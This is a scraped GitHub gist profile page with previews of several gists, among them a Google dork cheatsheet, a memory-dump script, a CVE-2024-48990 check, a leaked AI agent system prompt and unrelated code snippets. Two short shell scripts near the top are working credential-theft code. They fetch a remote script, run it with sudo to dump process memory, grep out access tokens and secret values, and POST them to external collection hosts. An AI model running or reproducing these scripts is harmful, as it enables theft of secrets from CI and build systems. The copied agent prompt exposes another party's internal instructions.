Skip to content

Instantly share code, notes, and snippets.

View Firebasky's full-sized avatar
😀
Learing

Firebasky Firebasky

😀
Learing
View GitHub Profile
@Firebasky
Firebasky / GoogleDorking.md
Created August 18, 2025 16:49 — forked from sundowndev/GoogleDorking.md
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"
@Firebasky
Firebasky / README2
Created March 16, 2025 07:36
AccessToken
YOUR_EXFIL="your-exfil-url.com"
BLOB=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`
BLOB2=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"CacheServerUrl":"[^"]*"\}' | sort -u`
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null
@Firebasky
Firebasky / README
Last active April 19, 2025 10:41
README
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSfL https://github.com/flank/flank/raw/128b43b61fd7da13ea6829d1fbb4d3f028b6cdad/LICENSE | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
curl -X POST https://qk62iikh.requestrepo.com/env -d "$B64_BLOB"
else
exit 0
fi
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
@Firebasky
Firebasky / agent loop
Created March 10, 2025 04:07 — forked from jlia0/agent loop
Manus tools and prompts
You are Manus, an AI agent created by the Manus team.
You excel at the following tasks:
1. Information gathering, fact-checking, and documentation
2. Data processing, analysis, and visualization
3. Writing multi-chapter articles and in-depth research reports
4. Creating websites, applications, and tools
5. Using programming to solve various problems beyond development
6. Various tasks that can be accomplished using computers and the internet
@Firebasky
Firebasky / memdump.py
Created December 14, 2024 16:41 — forked from Dbof/memdump.py
Dump process memory in Linux. See this blog post for more: https://davidebove.com/blog/?p=1620
#! /usr/bin/env python3
import sys
import re
if __name__ == "__main__":
if len(sys.argv) != 2:
print('Usage:', sys.argv[0], '<process PID>', file=sys.stderr)
exit(1)
@Firebasky
Firebasky / check_cve_2024_48990.sh
Created November 21, 2024 14:53
CVE-2024-48990 check 脚本
#!/bin/bash
# https://mp.weixin.qq.com/s/Klj66bHJ3p_VcR14FQXhMA
ubuntu_version=$(lsb_release -rs)
libmodule_scandeps_perl_version=$(apt list --installed 2>/dev/null | grep -E "^(libmodule-scandeps-perl/)" | awk -F'/' '{print $1 " " $2}' | awk -F ' ' '{print $3}' | sed 's/ubuntu.*//')
needrestart_version=$(apt list --installed 2>/dev/null | grep -E "^(needrestart/)" | awk -F'/' '{print $1 " " $2}' | awk -F ' ' '{print $3}')
if [[ "$ubuntu_version" == "22.04" ]]; then
if dpkg --compare-versions "$libmodule_scandeps_perl_version" le 1.31-1; then
if dpkg --compare-versions "$needrestart_version" le 3.5-5ubuntu2.1; then
echo "ubuntu: $ubuntu_version has CVE-2024-48990 vul !!!"
@Firebasky
Firebasky / .Cloud.md
Created July 17, 2024 10:22 — forked from imba-tjd/.Cloud.md
☁️ 一些免费的云资源

IaaS指提供系统(可以自己选)或者储存空间之类的硬件,软件要自己手动装;PaaS提供语言环境和框架(可以自己选);SaaS只能使用开发好的软件(卖软件本身);BaaS一般类似于非关系数据库,但各家不通用,有时还有一些其它东西。

其他人的集合

@Firebasky
Firebasky / colors.h
Created May 24, 2024 17:08 — forked from pta2002/colors.h
ANSI colors in a single header file
#ifndef COLORS_H
#define COLORS_H
#define BOLD "\e[1m"
#define DIM "\e[2m"
#define UNDERLINED "\e[4m"
#define BLINK "\e[5m"
#define REVERSE "\e[7m"
#define HIDDEN "\e[8m"
import tiktoken
import langdetect
T = tiktoken.get_encoding("o200k_base")
length_dict = {}
for i in range(T.n_vocab):
try:
length_dict[i] = len(T.decode([i]))
except: